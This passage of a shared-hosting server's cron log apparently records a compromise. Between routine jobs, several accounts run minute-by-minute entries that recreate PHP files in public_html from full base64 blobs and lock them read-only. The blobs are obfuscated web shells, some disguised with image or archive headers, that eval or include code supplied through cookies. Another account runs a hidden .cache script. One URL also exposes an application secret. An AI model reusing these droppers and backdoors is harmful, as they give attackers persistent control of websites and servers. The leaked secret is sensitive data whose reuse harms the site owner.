"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:45:01 medusa CROND[12871]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:45:01 medusa CROND[12873]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12876]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12878]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:45:01 medusa CROND[12884]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:45:01 medusa CROND[12865]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:46:01 medusa CROND[4882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:46:01 medusa CROND[4932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:46:01 medusa CROND[4933]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:46:01 medusa CROND[4935]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:46:01 medusa CROND[4936]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:46:01 medusa CROND[4937]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:46:01 medusa CROND[4939]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:46:01 medusa CROND[4941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:46:01 medusa CROND[4938]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:46:01 medusa CROND[4940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:46:01 medusa CROND[4944]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:46:01 medusa CROND[4946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:46:01 medusa CROND[4955]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:46:01 medusa CROND[4956]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:46:01 medusa CROND[4959]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:47:02 medusa CROND[29468]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:47:02 medusa CROND[29469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:47:02 medusa CROND[29470]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:47:02 medusa CROND[29471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:47:02 medusa CROND[29472]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:47:02 medusa CROND[29473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:47:02 medusa CROND[29474]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:47:02 medusa CROND[29478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:47:02 medusa CROND[29479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:47:02 medusa CROND[29480]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:47:02 medusa CROND[29483]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:47:02 medusa CROND[29490]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:47:02 medusa CROND[29491]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
